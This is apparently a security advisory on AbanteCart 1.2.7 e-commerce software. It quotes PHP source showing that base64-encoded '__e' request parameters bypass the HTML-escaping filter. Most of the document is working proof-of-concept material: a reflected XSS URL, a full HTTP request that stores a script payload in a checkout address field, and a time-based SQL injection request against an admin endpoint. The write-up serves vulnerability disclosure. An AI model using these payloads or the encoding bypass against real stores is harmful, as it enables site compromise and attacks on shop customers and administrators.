AbanteCart 1.2.7 Stored XSS and SQL Injection

Homepage:

http://www.abantecart.com/

Description:

By default all user input is escaped using htmlspecialchars so it’s impossible to get XSS.

File: core\lib\request.php

public function __construct() {
	$_GET = $this->clean($_GET);
	$_POST = $this->clean($_POST);
	$_COOKIE = $this->clean($_COOKIE);
	$_FILES = $this->clean($_FILES);
	$_SERVER = $this->clean($_SERVER);

	$this->get = $_GET;
	$this->post = $_POST;
	$this->cookie = $_COOKIE;
	$this->files = $_FILES;
	$this->server = $_SERVER;

	//check if there is any encrypted data
	if ( has_value($this->get['__e'])) {
		$this->get = array_replace_recursive($this->get, $this->decodeURI($this->get['__e']));
	}
	if ( has_value($this->post['__e'])) {
		$this->post = array_replace_recursive($this->post, $this->decodeURI($this->post['__e']));
	}
    $this->_detectBrowser();
}

public function clean($data) {
	if (is_array($data)) {
  		foreach ($data as $key => $value) {
			unset($data[$key]);
    		$data[$this->clean($key)] = $this->clean($value);
  		}
	} else {
  		$data = htmlspecialchars($data, ENT_COMPAT, 'UTF-8');
	}
	return $data;
}

But we can pass __e value which is base64 encoded and unfortunatelly those datas are not cleaned.

File: admin\controller\responses\product\product.php

public function decodeURI($uri) {
	$parms = array();
	$open_uri = base64_decode($uri);
	$split_parameters = explode('&', $open_uri);

	for($i = 0; $i < count($split_parameters); $i++) {
    	$final_split = explode('=', $split_parameters[$i]);
    	$parms[$final_split[0]] = $final_split[1];
	}
	return $parms;
}

So we know method for omit XSS filter.

For example address_1="><script>alert(2);</script>& can be encoded as: __e=YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m

Also it seems that subsql_filter inside admin panel are not properly escaped, for example:

File: core\lib\request.php

if($this->request->post['id']){
	$downloads = $this->model_catalog_download->getDownloads(array('subsql_filter' => ' shared = 1 AND d.download_id IN (' . implode(',', $this->request->post['id']) . ')'));
}

Proof of Concept:

Example reflected XSS:

http://url/index.php?rt=product/category&path=68_69&__e=c29ydD0iPjxzY3JpcHQ%2BYWxlcnQoMSk7PC9zY3JpcHQ%2BLURFU0Mm

For stored XSS create new order and set address_1 as __e using for example Burp.

POST /index.php?rt=checkout/guest_step_1 HTTP/1.1
Host: url
Content-Length: 1857
Cache-Control: max-age=0
Accept: text/html
Origin: http://url
Content-Type: multipart/form-data; boundary=--------1738959474
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
Connection: close

----------1738959474
Content-Disposition: form-data; name="firstname"

aaa
----------1738959474
Content-Disposition: form-data; name="lastname"

aaa
----------1738959474
Content-Disposition: form-data; name="email"

[email protected]
----------1738959474
Content-Disposition: form-data; name="telephone"

aaa
----------1738959474
Content-Disposition: form-data; name="fax"

aaa
----------1738959474
Content-Disposition: form-data; name="company"

aaa
----------1738959474
Content-Disposition: form-data; name="address_1"



----------1738959474
Content-Disposition: form-data; name="address_2"



----------1738959474
Content-Disposition: form-data; name="city"

aaa
----------1738959474
Content-Disposition: form-data; name="zone_id"

3613
----------1738959474
Content-Disposition: form-data; name="postcode"

aaa
----------1738959474
Content-Disposition: form-data; name="country_id"

223
----------1738959474
Content-Disposition: form-data; name="shipping_firstname"



----------1738959474
Content-Disposition: form-data; name="shipping_lastname"



----------1738959474
Content-Disposition: form-data; name="shipping_company"



----------1738959474
Content-Disposition: form-data; name="shipping_address_1"



----------1738959474
Content-Disposition: form-data; name="shipping_address_2"



----------1738959474
Content-Disposition: form-data; name="shipping_city"



----------1738959474
Content-Disposition: form-data; name="shipping_zone_id"

FALSE
----------1738959474
Content-Disposition: form-data; name="shipping_postcode"



----------1738959474
Content-Disposition: form-data; name="shipping_country_id"

223
----------1738959474
Content-Disposition: form-data; name="__e"

YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m
----------1738959474--

For SQL Injection:

POST /index.php?rt=product/product/downloads&s=admin&token=%token% HTTP/1.1
Host: url
Accept: text/html
Accept-Encoding: gzip, deflate, sdch
Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 32

id[]=0)%20or%20SLEEP(5)%20--%20a

Timeline: